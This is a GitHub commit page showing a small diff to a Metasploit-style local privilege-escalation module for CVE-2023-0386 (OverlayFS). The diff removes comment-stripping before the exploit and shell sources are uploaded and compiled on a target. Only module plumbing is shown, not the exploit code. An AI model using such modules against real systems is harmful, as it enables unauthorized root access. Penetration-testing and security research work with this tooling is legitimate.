Skip to content

Commit 30704c4

Browse files
committed
Remove unnecessary strip_comments
1 parent 6b64640 commit 30704c4

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

modules/exploits/linux/local/cve_2023_0386_overlayfs_priv_esc.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -115,8 +115,8 @@ def exploit
115115

116116
if live_compile?
117117
vprint_status('Live compiling exploit on system...')
118-
upload_and_compile(exploit_path, strip_comments(exploit_source('CVE-2023-0386', 'cve_2023_0386.c')), '-D_FILE_OFFSET_BITS=64 -lfuse -ldl -pthread')
119-
upload_and_compile(shell_path, strip_comments(exploit_source('CVE-2023-0386', 'shell.c')))
118+
upload_and_compile(exploit_path, exploit_source('CVE-2023-0386', 'cve_2023_0386.c'), '-D_FILE_OFFSET_BITS=64 -lfuse -ldl -pthread')
119+
upload_and_compile(shell_path, exploit_source('CVE-2023-0386', 'shell.c'))
120120
else
121121
vprint_status('Dropping pre-compiled exploit on system...')
122122
upload_and_chmodx(exploit_path, exploit_data('CVE-2023-0386', 'cve_2023_0386.x64.elf'))

0 commit comments

Comments
 (0)